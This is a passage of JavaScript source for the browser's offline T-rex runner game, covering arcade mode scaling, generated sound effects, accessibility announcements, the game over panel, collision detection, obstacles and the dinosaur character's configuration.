this.distanceMeter.reset();
this.horizon.reset();
this.tRex.reset();
this.playSound(this.soundFx.BUTTON_PRESS);
this.invert(true);
this.flashTimer = null;
this.update();
this.gameOverPanel.reset();
this.generatedSoundFx.background();
this.containerEl.setAttribute('title', getA11yString(A11Y_STRINGS.jump));
announcePhrase(getA11yString(A11Y_STRINGS.started));
}
},
setPlayStatus(isPlaying) {
if (this.touchController) {
this.touchController.classList.toggle(HIDDEN_CLASS, !isPlaying);
}
this.playing = isPlaying;
},
/**
* Whether the game should go into arcade mode.
* @return {boolean}
*/
isArcadeMode() {
// In RTL languages the title is wrapped with the left to right mark
// control characters ‪ and ‬ but are invisible.
return IS_RTL ? document.title.indexOf(ARCADE_MODE_URL) == 1 :
document.title === ARCADE_MODE_URL;
},
/**
* Hides offline messaging for a fullscreen game only experience.
*/
setArcadeMode() {
document.body.classList.add(Runner.classes.ARCADE_MODE);
this.setArcadeModeContainerScale();
},
/**
* Sets the scaling for arcade mode.
*/
setArcadeModeContainerScale() {
const windowHeight = window.innerHeight;
const scaleHeight = windowHeight / this.dimensions.HEIGHT;
const scaleWidth = window.innerWidth / this.dimensions.WIDTH;
const scale = Math.max(1, Math.min(scaleHeight, scaleWidth));
const scaledCanvasHeight = this.dimensions.HEIGHT * scale;
// Positions the game container at 10% of the available vertical window
// height minus the game container height.
const translateY = Math.ceil(Math.max(0, (windowHeight - scaledCanvasHeight -
Runner.config.ARCADE_MODE_INITIAL_TOP_POSITION) *
Runner.config.ARCADE_MODE_TOP_POSITION_PERCENT)) *
window.devicePixelRatio;
const cssScale = IS_RTL ? -scale + ',' + scale : scale;
this.containerEl.style.transform =
'scale(' + cssScale + ') translateY(' + translateY + 'px)';
},
/**
* Pause the game if the tab is not in focus.
*/
onVisibilityChange(e) {
if (document.hidden || document.webkitHidden || e.type === 'blur' ||
document.visibilityState !== 'visible') {
this.stop();
} else if (!this.crashed) {
this.tRex.reset();
this.play();
}
},
/**
* Play a sound.
* @param {AudioBuffer} soundBuffer
*/
playSound(soundBuffer) {
if (soundBuffer) {
const sourceNode = this.audioContext.createBufferSource();
sourceNode.buffer = soundBuffer;
sourceNode.connect(this.audioContext.destination);
sourceNode.start(0);
}
},
/**
* Inverts the current page / canvas colors.
* @param {boolean} reset Whether to reset colors.
*/
invert(reset) {
const htmlEl = document.firstElementChild;
if (reset) {
htmlEl.classList.toggle(Runner.classes.INVERTED,
false);
this.invertTimer = 0;
this.inverted = false;
} else {
this.inverted = htmlEl.classList.toggle(
Runner.classes.INVERTED, this.invertTrigger);
}
},
};
/**
* Updates the canvas size taking into
* account the backing store pixel ratio and
* the device pixel ratio.
*
* See article by Paul Lewis:
* http://www.html5rocks.com/en/tutorials/canvas/hidpi/
*
* @param {HTMLCanvasElement} canvas
* @param {number=} opt_width
* @param {number=} opt_height
* @return {boolean} Whether the canvas was scaled.
*/
Runner.updateCanvasScaling = function(canvas, opt_width, opt_height) {
const context =
/** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
// Query the various pixel ratios
const devicePixelRatio = Math.floor(window.devicePixelRatio) || 1;
/** @suppress {missingProperties} */
const backingStoreRatio =
Math.floor(context.webkitBackingStorePixelRatio) || 1;
const ratio = devicePixelRatio / backingStoreRatio;
// Upscale the canvas if the two ratios don't match
if (devicePixelRatio !== backingStoreRatio) {
const oldWidth = opt_width || canvas.width;
const oldHeight = opt_height || canvas.height;
canvas.width = oldWidth * ratio;
canvas.height = oldHeight * ratio;
canvas.style.width = oldWidth + 'px';
canvas.style.height = oldHeight + 'px';
// Scale the context to counter the fact that we've manually scaled
// our canvas element.
context.scale(ratio, ratio);
return true;
} else if (devicePixelRatio === 1) {
// Reset the canvas width / height. Fixes scaling bug when the page is
// zoomed and the devicePixelRatio changes accordingly.
canvas.style.width = canvas.width + 'px';
canvas.style.height = canvas.height + 'px';
}
return false;
};
/**
* Whether events are enabled.
* @return {boolean}
*/
Runner.isAltGameModeEnabled = function() {
return loadTimeData && loadTimeData.valueExists('enableAltGameMode');
};
/**
* Generated sound FX class for audio cues.
* @constructor
*/
function GeneratedSoundFx() {
this.audioCues = false;
this.context = null;
this.panner = null;
}
GeneratedSoundFx.prototype = {
init() {
this.audioCues = true;
if (!this.context) {
// iOS only supports the webkit version.
this.context = window.webkitAudioContext ? new webkitAudioContext() :
new AudioContext();
if (IS_IOS) {
this.context.onstatechange = (function() {
if (this.context.state != 'running') {
this.context.resume();
}
}).bind(this);
this.context.resume();
}
this.panner = this.context.createStereoPanner ?
this.context.createStereoPanner() :
null;
}
},
stopAll() {
this.cancelFootSteps();
},
/**
* Play oscillators at certain frequency and for a certain time.
* @param {number} frequency
* @param {number} startTime
* @param {number} duration
* @param {?number=} opt_vol
* @param {number=} opt_pan
*/
playNote(frequency, startTime, duration, opt_vol, opt_pan) {
const osc1 = this.context.createOscillator();
const osc2 = this.context.createOscillator();
const volume = this.context.createGain();
// Set oscillator wave type
osc1.type = 'triangle';
osc2.type = 'triangle';
volume.gain.value = 0.1;
// Set up node routing
if (this.panner) {
this.panner.pan.value = opt_pan || 0;
osc1.connect(volume).connect(this.panner);
osc2.connect(volume).connect(this.panner);
this.panner.connect(this.context.destination);
} else {
osc1.connect(volume);
osc2.connect(volume);
volume.connect(this.context.destination);
}
// Detune oscillators for chorus effect
osc1.frequency.value = frequency + 1;
osc2.frequency.value = frequency - 2;
// Fade out
volume.gain.setValueAtTime(opt_vol || 0.01, startTime + duration - 0.05);
volume.gain.linearRampToValueAtTime(0.00001, startTime + duration);
// Start oscillators
osc1.start(startTime);
osc2.start(startTime);
// Stop oscillators
osc1.stop(startTime + duration);
osc2.stop(startTime + duration);
},
background() {
if (this.audioCues) {
const now = this.context.currentTime;
this.playNote(493.883, now, 0.116);
this.playNote(659.255, now + 0.116, 0.232);
this.loopFootSteps();
}
},
loopFootSteps() {
if (this.audioCues && !this.bgSoundIntervalId) {
this.bgSoundIntervalId = setInterval(function() {
this.playNote(73.42, this.context.currentTime, 0.05, 0.16);
this.playNote(69.30, this.context.currentTime + 0.116, 0.116, 0.16);
}.bind(this), 280);
}
},
cancelFootSteps() {
if (this.audioCues && this.bgSoundIntervalId) {
clearInterval(this.bgSoundIntervalId);
this.bgSoundIntervalId = null;
this.playNote(103.83, this.context.currentTime, 0.232, 0.02);
this.playNote(116.54, this.context.currentTime + 0.116, 0.232, 0.02);
}
},
collect() {
if (this.audioCues) {
this.cancelFootSteps();
const now = this.context.currentTime;
this.playNote(830.61, now, 0.116);
this.playNote(1318.51, now + 0.116, 0.232);
}
},
jump() {
if (this.audioCues) {
const now = this.context.currentTime;
this.playNote(659.25, now, 0.116, 0.3, -0.6);
this.playNote(880, now + 0.116, 0.232, 0.3, -0.6);
}
},
};
/**
* Speak a phrase using Speech Synthesis API for a11y.
* @param {string} phrase Sentence to speak.
*/
function speakPhrase(phrase) {
if ('speechSynthesis' in window) {
const msg = new SpeechSynthesisUtterance(phrase);
const voices = window.speechSynthesis.getVoices();
msg.text = phrase;
speechSynthesis.speak(msg);
}
}
/**
* For screen readers make an announcement to the live region.
* @param {string} phrase Sentence to speak.
*/
function announcePhrase(phrase) {
if (Runner.a11yStatusEl) {
Runner.a11yStatusEl.textContent = '';
Runner.a11yStatusEl.textContent = phrase;
}
}
/**
* Returns a string from loadTimeData data object.
* @param {string} stringName
* @return {string}
*/
function getA11yString(stringName) {
return loadTimeData && loadTimeData.valueExists(stringName) ?
loadTimeData.getString(stringName) :
'';
}
/**
* Get random number.
* @param {number} min
* @param {number} max
*/
function getRandomNum(min, max) {
return Math.floor(Math.random() * (max - min + 1)) + min;
}
/**
* Vibrate on mobile devices.
* @param {number} duration Duration of the vibration in milliseconds.
*/
function vibrate(duration) {
if (IS_MOBILE && window.navigator.vibrate) {
window.navigator.vibrate(duration);
}
}
/**
* Create canvas element.
* @param {Element} container Element to append canvas to.
* @param {number} width
* @param {number} height
* @param {string=} opt_classname
* @return {HTMLCanvasElement}
*/
function createCanvas(container, width, height, opt_classname) {
const canvas =
/** @type {!HTMLCanvasElement} */ (document.createElement('canvas'));
canvas.className = opt_classname ? Runner.classes.CANVAS + ' ' +
opt_classname : Runner.classes.CANVAS;
canvas.width = width;
canvas.height = height;
container.appendChild(canvas);
return canvas;
}
/**
* Decodes the base 64 audio to ArrayBuffer used by Web Audio.
* @param {string} base64String
*/
function decodeBase64ToArrayBuffer(base64String) {
const len = (base64String.length / 4) * 3;
const str = atob(base64String);
const arrayBuffer = new ArrayBuffer(len);
const bytes = new Uint8Array(arrayBuffer);
for (let i = 0; i < len; i++) {
bytes[i] = str.charCodeAt(i);
}
return bytes.buffer;
}
/**
* Return the current timestamp.
* @return {number}
*/
function getTimeStamp() {
return IS_IOS ? new Date().getTime() : performance.now();
}
//******************************************************************************
/**
* Game over panel.
* @param {!HTMLCanvasElement} canvas
* @param {Object} textImgPos
* @param {Object} restartImgPos
* @param {!Object} dimensions Canvas dimensions.
* @param {Object=} opt_altGameEndImgPos
* @param {boolean=} opt_altGameActive
* @constructor
*/
function GameOverPanel(
canvas, textImgPos, restartImgPos, dimensions, opt_altGameEndImgPos,
opt_altGameActive) {
this.canvas = canvas;
this.canvasCtx =
/** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
this.canvasDimensions = dimensions;
this.textImgPos = textImgPos;
this.restartImgPos = restartImgPos;
this.altGameEndImgPos = opt_altGameEndImgPos;
this.altGameModeActive = opt_altGameActive;
// Retry animation.
this.frameTimeStamp = 0;
this.animTimer = 0;
this.currentFrame = 0;
this.gameOverRafId = null;
this.flashTimer = 0;
this.flashCounter = 0;
this.originalText = true;
}
GameOverPanel.RESTART_ANIM_DURATION = 875;
GameOverPanel.LOGO_PAUSE_DURATION = 875;
GameOverPanel.FLASH_ITERATIONS = 5;
/**
* Animation frames spec.
*/
GameOverPanel.animConfig = {
frames: [0, 36, 72, 108, 144, 180, 216, 252],
msPerFrame: GameOverPanel.RESTART_ANIM_DURATION / 8,
};
/**
* Dimensions used in the panel.
* @enum {number}
*/
GameOverPanel.dimensions = {
TEXT_X: 0,
TEXT_Y: 13,
TEXT_WIDTH: 191,
TEXT_HEIGHT: 11,
RESTART_WIDTH: 36,
RESTART_HEIGHT: 32,
};
GameOverPanel.prototype = {
/**
* Update the panel dimensions.
* @param {number} width New canvas width.
* @param {number} opt_height Optional new canvas height.
*/
updateDimensions(width, opt_height) {
this.canvasDimensions.WIDTH = width;
if (opt_height) {
this.canvasDimensions.HEIGHT = opt_height;
}
this.currentFrame = GameOverPanel.animConfig.frames.length - 1;
},
drawGameOverText(dimensions, opt_useAltText) {
const centerX = this.canvasDimensions.WIDTH / 2;
let textSourceX = dimensions.TEXT_X;
let textSourceY = dimensions.TEXT_Y;
let textSourceWidth = dimensions.TEXT_WIDTH;
let textSourceHeight = dimensions.TEXT_HEIGHT;
const textTargetX = Math.round(centerX - (dimensions.TEXT_WIDTH / 2));
const textTargetY = Math.round((this.canvasDimensions.HEIGHT - 25) / 3);
const textTargetWidth = dimensions.TEXT_WIDTH;
const textTargetHeight = dimensions.TEXT_HEIGHT;
if (IS_HIDPI) {
textSourceY *= 2;
textSourceX *= 2;
textSourceWidth *= 2;
textSourceHeight *= 2;
}
if (!opt_useAltText) {
textSourceX += this.textImgPos.x;
textSourceY += this.textImgPos.y;
}
const spriteSource =
opt_useAltText ? Runner.altCommonImageSprite : Runner.origImageSprite;
this.canvasCtx.save();
if (IS_RTL) {
this.canvasCtx.translate(this.canvasDimensions.WIDTH, 0);
this.canvasCtx.scale(-1, 1);
}
// Game over text from sprite.
this.canvasCtx.drawImage(
spriteSource, textSourceX, textSourceY, textSourceWidth,
textSourceHeight, textTargetX, textTargetY, textTargetWidth,
textTargetHeight);
this.canvasCtx.restore();
},
/**
* Draw additional adornments for alternative game types.
*/
drawAltGameElements(tRex) {
// Additional adornments.
if (this.altGameModeActive && Runner.spriteDefinition.ALT_GAME_END_CONFIG) {
const altGameEndConfig = Runner.spriteDefinition.ALT_GAME_END_CONFIG;
let altGameEndSourceWidth = altGameEndConfig.WIDTH;
let altGameEndSourceHeight = altGameEndConfig.HEIGHT;
const altGameEndTargetX = tRex.xPos + altGameEndConfig.X_OFFSET;
const altGameEndTargetY = tRex.yPos + altGameEndConfig.Y_OFFSET;
if (IS_HIDPI) {
altGameEndSourceWidth *= 2;
altGameEndSourceHeight *= 2;
}
this.canvasCtx.drawImage(
Runner.altCommonImageSprite, this.altGameEndImgPos.x,
this.altGameEndImgPos.y, altGameEndSourceWidth,
altGameEndSourceHeight, altGameEndTargetX, altGameEndTargetY,
altGameEndConfig.WIDTH, altGameEndConfig.HEIGHT);
}
},
/**
* Draw restart button.
*/
drawRestartButton() {
const dimensions = GameOverPanel.dimensions;
let framePosX = GameOverPanel.animConfig.frames[this.currentFrame];
let restartSourceWidth = dimensions.RESTART_WIDTH;
let restartSourceHeight = dimensions.RESTART_HEIGHT;
const restartTargetX =
(this.canvasDimensions.WIDTH / 2) - (dimensions.RESTART_WIDTH / 2);
const restartTargetY = this.canvasDimensions.HEIGHT / 2;
if (IS_HIDPI) {
restartSourceWidth *= 2;
restartSourceHeight *= 2;
framePosX *= 2;
}
this.canvasCtx.save();
if (IS_RTL) {
this.canvasCtx.translate(this.canvasDimensions.WIDTH, 0);
this.canvasCtx.scale(-1, 1);
}
this.canvasCtx.drawImage(
Runner.origImageSprite, this.restartImgPos.x + framePosX,
this.restartImgPos.y, restartSourceWidth, restartSourceHeight,
restartTargetX, restartTargetY, dimensions.RESTART_WIDTH,
dimensions.RESTART_HEIGHT);
this.canvasCtx.restore();
},
/**
* Draw the panel.
* @param {boolean} opt_altGameModeActive
* @param {!Trex} opt_tRex
*/
draw(opt_altGameModeActive, opt_tRex) {
if (opt_altGameModeActive) {
this.altGameModeActive = opt_altGameModeActive;
}
this.drawGameOverText(GameOverPanel.dimensions, false);
this.drawRestartButton();
this.drawAltGameElements(opt_tRex);
this.update();
},
/**
* Update animation frames.
*/
update() {
const now = getTimeStamp();
const deltaTime = now - (this.frameTimeStamp || now);
this.frameTimeStamp = now;
this.animTimer += deltaTime;
this.flashTimer += deltaTime;
// Restart Button
if (this.currentFrame == 0 &&
this.animTimer > GameOverPanel.LOGO_PAUSE_DURATION) {
this.animTimer = 0;
this.currentFrame++;
this.drawRestartButton();
} else if (
this.currentFrame > 0 &&
this.currentFrame < GameOverPanel.animConfig.frames.length) {
if (this.animTimer >= GameOverPanel.animConfig.msPerFrame) {
this.currentFrame++;
this.drawRestartButton();
}
} else if (
!this.altGameModeActive &&
this.currentFrame == GameOverPanel.animConfig.frames.length) {
this.reset();
return;
}
// Game over text
if (this.altGameModeActive &&
Runner.spriteDefinitionByType.original.ALT_GAME_OVER_TEXT_CONFIG) {
const altTextConfig =
Runner.spriteDefinitionByType.original.ALT_GAME_OVER_TEXT_CONFIG;
if (this.flashCounter < GameOverPanel.FLASH_ITERATIONS &&
this.flashTimer > altTextConfig.FLASH_DURATION) {
this.flashTimer = 0;
this.originalText = !this.originalText;
this.clearGameOverTextBounds();
if (this.originalText) {
this.drawGameOverText(GameOverPanel.dimensions, false);
this.flashCounter++;
} else {
this.drawGameOverText(altTextConfig, true);
}
} else if (this.flashCounter >= GameOverPanel.FLASH_ITERATIONS) {
this.reset();
return;
}
}
this.gameOverRafId = requestAnimationFrame(this.update.bind(this));
},
/**
* Clear game over text.
*/
clearGameOverTextBounds() {
this.canvasCtx.save();
this.canvasCtx.clearRect(
Math.round(
this.canvasDimensions.WIDTH / 2 -
(GameOverPanel.dimensions.TEXT_WIDTH / 2)),
Math.round((this.canvasDimensions.HEIGHT - 25) / 3),
GameOverPanel.dimensions.TEXT_WIDTH,
GameOverPanel.dimensions.TEXT_HEIGHT + 4);
this.canvasCtx.restore();
},
reset() {
if (this.gameOverRafId) {
cancelAnimationFrame(this.gameOverRafId);
this.gameOverRafId = null;
}
this.animTimer = 0;
this.frameTimeStamp = 0;
this.currentFrame = 0;
this.flashTimer = 0;
this.flashCounter = 0;
this.originalText = true;
},
};
//******************************************************************************
/**
* Check for a collision.
* @param {!Obstacle} obstacle
* @param {!Trex} tRex T-rex object.
* @param {CanvasRenderingContext2D=} opt_canvasCtx Optional canvas context for
* drawing collision boxes.
* @return {Array<CollisionBox>|undefined}
*/
function checkForCollision(obstacle, tRex, opt_canvasCtx) {
const obstacleBoxXPos = Runner.defaultDimensions.WIDTH + obstacle.xPos;
// Adjustments are made to the bounding box as there is a 1 pixel white
// border around the t-rex and obstacles.
const tRexBox = new CollisionBox(
tRex.xPos + 1,
tRex.yPos + 1,
tRex.config.WIDTH - 2,
tRex.config.HEIGHT - 2);
const obstacleBox = new CollisionBox(
obstacle.xPos + 1,
obstacle.yPos + 1,
obstacle.typeConfig.width * obstacle.size - 2,
obstacle.typeConfig.height - 2);
// Debug outer box
if (opt_canvasCtx) {
drawCollisionBoxes(opt_canvasCtx, tRexBox, obstacleBox);
}
// Simple outer bounds check.
if (boxCompare(tRexBox, obstacleBox)) {
const collisionBoxes = obstacle.collisionBoxes;
let tRexCollisionBoxes = [];
if (Runner.isAltGameModeEnabled()) {
tRexCollisionBoxes = Runner.spriteDefinition.TREX.COLLISION_BOXES;
} else {
tRexCollisionBoxes = tRex.ducking ? Trex.collisionBoxes.DUCKING :
Trex.collisionBoxes.RUNNING;
}
// Detailed axis aligned box check.
for (let t = 0; t < tRexCollisionBoxes.length; t++) {
for (let i = 0; i < collisionBoxes.length; i++) {
// Adjust the box to actual positions.
const adjTrexBox =
createAdjustedCollisionBox(tRexCollisionBoxes[t], tRexBox);
const adjObstacleBox =
createAdjustedCollisionBox(collisionBoxes[i], obstacleBox);
const crashed = boxCompare(adjTrexBox, adjObstacleBox);
// Draw boxes for debug.
if (opt_canvasCtx) {
drawCollisionBoxes(opt_canvasCtx, adjTrexBox, adjObstacleBox);
}
if (crashed) {
return [adjTrexBox, adjObstacleBox];
}
}
}
}
}
/**
* Adjust the collision box.
* @param {!CollisionBox} box The original box.
* @param {!CollisionBox} adjustment Adjustment box.
* @return {CollisionBox} The adjusted collision box object.
*/
function createAdjustedCollisionBox(box, adjustment) {
return new CollisionBox(
box.x + adjustment.x,
box.y + adjustment.y,
box.width,
box.height);
}
/**
* Draw the collision boxes for debug.
*/
function drawCollisionBoxes(canvasCtx, tRexBox, obstacleBox) {
canvasCtx.save();
canvasCtx.strokeStyle = '#f00';
canvasCtx.strokeRect(tRexBox.x, tRexBox.y, tRexBox.width, tRexBox.height);
canvasCtx.strokeStyle = '#0f0';
canvasCtx.strokeRect(obstacleBox.x, obstacleBox.y,
obstacleBox.width, obstacleBox.height);
canvasCtx.restore();
}
/**
* Compare two collision boxes for a collision.
* @param {CollisionBox} tRexBox
* @param {CollisionBox} obstacleBox
* @return {boolean} Whether the boxes intersected.
*/
function boxCompare(tRexBox, obstacleBox) {
let crashed = false;
const tRexBoxX = tRexBox.x;
const tRexBoxY = tRexBox.y;
const obstacleBoxX = obstacleBox.x;
const obstacleBoxY = obstacleBox.y;
// Axis-Aligned Bounding Box method.
if (tRexBox.x < obstacleBoxX + obstacleBox.width &&
tRexBox.x + tRexBox.width > obstacleBoxX &&
tRexBox.y < obstacleBox.y + obstacleBox.height &&
tRexBox.height + tRexBox.y > obstacleBox.y) {
crashed = true;
}
return crashed;
}
//******************************************************************************
/**
* Collision box object.
* @param {number} x X position.
* @param {number} y Y Position.
* @param {number} w Width.
* @param {number} h Height.
* @constructor
*/
function CollisionBox(x, y, w, h) {
this.x = x;
this.y = y;
this.width = w;
this.height = h;
}
//******************************************************************************
/**
* Obstacle.
* @param {CanvasRenderingContext2D} canvasCtx
* @param {ObstacleType} type
* @param {Object} spriteImgPos Obstacle position in sprite.
* @param {Object} dimensions
* @param {number} gapCoefficient Mutipler in determining the gap.
* @param {number} speed
* @param {number=} opt_xOffset
* @param {boolean=} opt_isAltGameMode
* @constructor
*/
function Obstacle(
canvasCtx, type, spriteImgPos, dimensions, gapCoefficient, speed,
opt_xOffset, opt_isAltGameMode) {
this.canvasCtx = canvasCtx;
this.spritePos = spriteImgPos;
this.typeConfig = type;
this.gapCoefficient = Runner.slowDown ? gapCoefficient * 2 : gapCoefficient;
this.size = getRandomNum(1, Obstacle.MAX_OBSTACLE_LENGTH);
this.dimensions = dimensions;
this.remove = false;
this.xPos = dimensions.WIDTH + (opt_xOffset || 0);
this.yPos = 0;
this.width = 0;
this.collisionBoxes = [];
this.gap = 0;
this.speedOffset = 0;
this.altGameModeActive = opt_isAltGameMode;
this.imageSprite = this.typeConfig.type == 'COLLECTABLE' ?
Runner.altCommonImageSprite :
this.altGameModeActive ? Runner.altGameImageSprite : Runner.imageSprite;
// For animated obstacles.
this.currentFrame = 0;
this.timer = 0;
this.init(speed);
}
/**
* Coefficient for calculating the maximum gap.
*/
Obstacle.MAX_GAP_COEFFICIENT = 1.5;
/**
* Maximum obstacle grouping count.
*/
Obstacle.MAX_OBSTACLE_LENGTH = 3;
Obstacle.prototype = {
/**
* Initialise the DOM for the obstacle.
* @param {number} speed
*/
init(speed) {
this.cloneCollisionBoxes();
// Only allow sizing if we're at the right speed.
if (this.size > 1 && this.typeConfig.multipleSpeed > speed) {
this.size = 1;
}
this.width = this.typeConfig.width * this.size;
// Check if obstacle can be positioned at various heights.
if (Array.isArray(this.typeConfig.yPos)) {
const yPosConfig =
IS_MOBILE ? this.typeConfig.yPosMobile : this.typeConfig.yPos;
this.yPos = yPosConfig[getRandomNum(0, yPosConfig.length - 1)];
} else {
this.yPos = this.typeConfig.yPos;
}
this.draw();
// Make collision box adjustments,
// Central box is adjusted to the size as one box.
// ____ ______ ________
// _| |-| _| |-| _| |-|
// | |<->| | | |<--->| | | |<----->| |
// | | 1 | | | | 2 | | | | 3 | |
// |_|___|_| |_|_____|_| |_|_______|_|
//
if (this.size > 1) {
this.collisionBoxes[1].width = this.width - this.collisionBoxes[0].width -
this.collisionBoxes[2].width;
this.collisionBoxes[2].x = this.width - this.collisionBoxes[2].width;
}
// For obstacles that go at a different speed from the horizon.
if (this.typeConfig.speedOffset) {
this.speedOffset = Math.random() > 0.5 ? this.typeConfig.speedOffset :
-this.typeConfig.speedOffset;
}
this.gap = this.getGap(this.gapCoefficient, speed);
// Increase gap for audio cues enabled.
if (Runner.audioCues) {
this.gap *= 2;
}
},
/**
* Draw and crop based on size.
*/
draw() {
let sourceWidth = this.typeConfig.width;
let sourceHeight = this.typeConfig.height;
if (IS_HIDPI) {
sourceWidth = sourceWidth * 2;
sourceHeight = sourceHeight * 2;
}
// X position in sprite.
let sourceX =
(sourceWidth * this.size) * (0.5 * (this.size - 1)) + this.spritePos.x;
// Animation frames.
if (this.currentFrame > 0) {
sourceX += sourceWidth * this.currentFrame;
}
this.canvasCtx.drawImage(
this.imageSprite, sourceX, this.spritePos.y, sourceWidth * this.size,
sourceHeight, this.xPos, this.yPos, this.typeConfig.width * this.size,
this.typeConfig.height);
},
/**
* Obstacle frame update.
* @param {number} deltaTime
* @param {number} speed
*/
update(deltaTime, speed) {
if (!this.remove) {
if (this.typeConfig.speedOffset) {
speed += this.speedOffset;
}
this.xPos -= Math.floor((speed * FPS / 1000) * deltaTime);
// Update frame
if (this.typeConfig.numFrames) {
this.timer += deltaTime;
if (this.timer >= this.typeConfig.frameRate) {
this.currentFrame =
this.currentFrame === this.typeConfig.numFrames - 1 ?
0 :
this.currentFrame + 1;
this.timer = 0;
}
}
this.draw();
if (!this.isVisible()) {
this.remove = true;
}
}
},
/**
* Calculate a random gap size.
* - Minimum gap gets wider as speed increses
* @param {number} gapCoefficient
* @param {number} speed
* @return {number} The gap size.
*/
getGap(gapCoefficient, speed) {
const minGap = Math.round(
this.width * speed + this.typeConfig.minGap * gapCoefficient);
const maxGap = Math.round(minGap * Obstacle.MAX_GAP_COEFFICIENT);
return getRandomNum(minGap, maxGap);
},
/**
* Check if obstacle is visible.
* @return {boolean} Whether the obstacle is in the game area.
*/
isVisible() {
return this.xPos + this.width > 0;
},
/**
* Make a copy of the collision boxes, since these will change based on
* obstacle type and size.
*/
cloneCollisionBoxes() {
const collisionBoxes = this.typeConfig.collisionBoxes;
for (let i = collisionBoxes.length - 1; i >= 0; i--) {
this.collisionBoxes[i] = new CollisionBox(
collisionBoxes[i].x, collisionBoxes[i].y, collisionBoxes[i].width,
collisionBoxes[i].height);
}
},
};
//******************************************************************************
/**
* T-rex game character.
* @param {HTMLCanvasElement} canvas
* @param {Object} spritePos Positioning within image sprite.
* @constructor
*/
function Trex(canvas, spritePos) {
this.canvas = canvas;
this.canvasCtx =
/** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
this.spritePos = spritePos;
this.xPos = 0;
this.yPos = 0;
this.xInitialPos = 0;
// Position when on the ground.
this.groundYPos = 0;
this.currentFrame = 0;
this.currentAnimFrames = [];
this.blinkDelay = 0;
this.blinkCount = 0;
this.animStartTime = 0;
this.timer = 0;
this.msPerFrame = 1000 / FPS;
this.config = Object.assign(Trex.config, Trex.normalJumpConfig);
// Current status.
this.status = Trex.status.WAITING;
this.jumping = false;
this.ducking = false;
this.jumpVelocity = 0;
this.reachedMinHeight = false;
this.speedDrop = false;
this.jumpCount = 0;
this.jumpspotX = 0;
this.altGameModeEnabled = false;
this.flashing = false;
this.init();
}
/**
* T-rex player config.
*/
Trex.config = {
DROP_VELOCITY: -5,
FLASH_OFF: 175,
FLASH_ON: 100,
HEIGHT: 47,
HEIGHT_DUCK: 25,
INTRO_DURATION: 1500,
SPEED_DROP_COEFFICIENT: 3,
SPRITE_WIDTH: 262,
START_X_POS: 50,
WIDTH: 44,
WIDTH_DUCK: 59,
};
Trex.slowJumpConfig = {
GRAVITY: 0.25,
MAX_JUMP_HEIGHT: 50,
MIN_JUMP_HEIGHT: 45,
INITIAL_JUMP_VELOCITY: -20,
};
Trex.normalJumpConfig = {
GRAVITY: 0.6,
MAX_JUMP_HEIGHT: 30,
MIN_JUMP_HEIGHT: 30,
INITIAL_JUMP_VELOCITY: -10,
};
/**
* Used in collision detection.
* @enum {Array<CollisionBox>}
*/
Trex.collisionBoxes = {
DUCKING: [new CollisionBox(1, 18, 55, 25)],
RUNNING: [
new CollisionBox(22, 0, 17, 16),
new CollisionBox(1, 18, 30, 9),
new CollisionBox(10, 35, 14, 8),
new CollisionBox(1, 24, 29, 5),
new CollisionBox(5, 30, 21, 4),
new CollisionBox(9, 34, 15, 4),
],
};
/**
* Animation states.
* @enum {string}
*/
Trex.status = {
CRASHED: 'CRASHED',
DUCKING: 'DUCKING',
JUMPING: 'JUMPING',
RUNNING: 'RUNNING',
WAITING: 'WAITING',
};
/**
* Blinking coefficient.
* @const
*/
Trex.BLINK_TIMING = 7000;
/**
* Animation config for different states.
* @enum {Object}
*/
Trex.animFrames = {
WAITING: {
frames: [44, 0],
msPerFrame: 1000 / 3,
},
RUNNING: {
frames: [88, 132],
msPerFrame: 1000 / 12,
},
CRASHED: {
frames: [220],
msPerFrame: 1000 / 60,
},
JUMPING: {
frames: [0],
msPerFrame: 1000 / 60,
},
DUCKING: {
frames: [264, 323],
msPerFrame: 1000 / 8,
},
};
Trex.prototype = {
/**
* T-rex player initaliser.
* Sets the t-rex to blink at random intervals.
*/
init() {
this.groundYPos = Runner.defaultDimensions.HEIGHT - this.config.HEIGHT -
Runner.config.BOTTOM_PAD;
this.yPos = this.groundYPos;
this.minJumpHeight = this.groundYPos - this.config.MIN_JUMP_HEIGHT;
this.draw(0, 0);
this.update(0, Trex.status.WAITING);
},
/**
* Assign the appropriate jump parameters based on the game speed.
*/
enableSlowConfig: function() {
const jumpConfig =
Runner.slowDown ? Trex.slowJumpConfig : Trex.normalJumpConfig;
Trex.config = Object.assign(Trex.config, jumpConfig);
this.adjustAltGameConfigForSlowSpeed();
},
/**
* Enables the alternative game. Redefines the dino config.
* @param {Object} spritePos New positioning within image sprite.
*/
enableAltGameMode: function(spritePos) {
this.altGameModeEnabled = true;
this.spritePos = spritePos;
const spriteDefinition = Runner.spriteDefinition['TREX'];
// Update animation frames.
Trex.animFrames.RUNNING.frames =
[spriteDefinition.RUNNING_1.x, spriteDefinition.RUNNING_2.x];
Trex.animFrames.CRASHED.frames = [spriteDefinition.CRASHED.x];
if (typeof spriteDefinition.JUMPING.x == 'object') {
Trex.animFrames.JUMPING.frames = spriteDefinition.JUMPING.x;
} else {
Trex.animFrames.JUMPING.frames = [spriteDefinition.JUMPING.x];
}
Trex.animFrames.DUCKING.frames =
[spriteDefinition.RUNNING_1.x, spriteDefinition.RUNNING_2.x];
// Update Trex config
Trex.config.GRAVITY = spriteDefinition.GRAVITY || Trex.config.GRAVITY;
Trex.config.HEIGHT = spriteDefinition.RUNNING_1.h,
Trex.config.INITIAL_JUMP_VELOCITY = spriteDefinition.INITIAL_JUMP_VELOCITY;
Trex.config.MAX_JUMP_HEIGHT = spriteDefinition.MAX_JUMP_HEIGHT;
Trex.config.MIN_JUMP_HEIGHT = spriteDefinition.MIN_JUMP_HEIGHT;
Trex.config.WIDTH = spriteDefinition.RUNNING_1.w;
Trex.config.WIDTH_JUMP = spriteDefinition.JUMPING.w;
Trex.config.INVERT_JUMP = spriteDefinition.INVERT_JUMP;
this.adjustAltGameConfigForSlowSpeed(spriteDefinition.GRAVITY);
this.config = Trex.config;
// Adjust bottom horizon placement.
this.groundYPos = Runner.defaultDimensions.HEIGHT - this.config.HEIGHT -
Runner.spriteDefinition['BOTTOM_PAD'];
this.yPos = this.groundYPos;
this.reset();
},
/**
* Slow speeds adjustments for the alt game modes.
* @param {number=} opt_gravityValue
*/
adjustAltGameConfigForSlowSpeed: function(opt_gravityValue) {
if (Runner.slowDown) {
if (opt_gravityValue) {
Trex.config.GRAVITY = opt_gravityValue / 1.5;
}
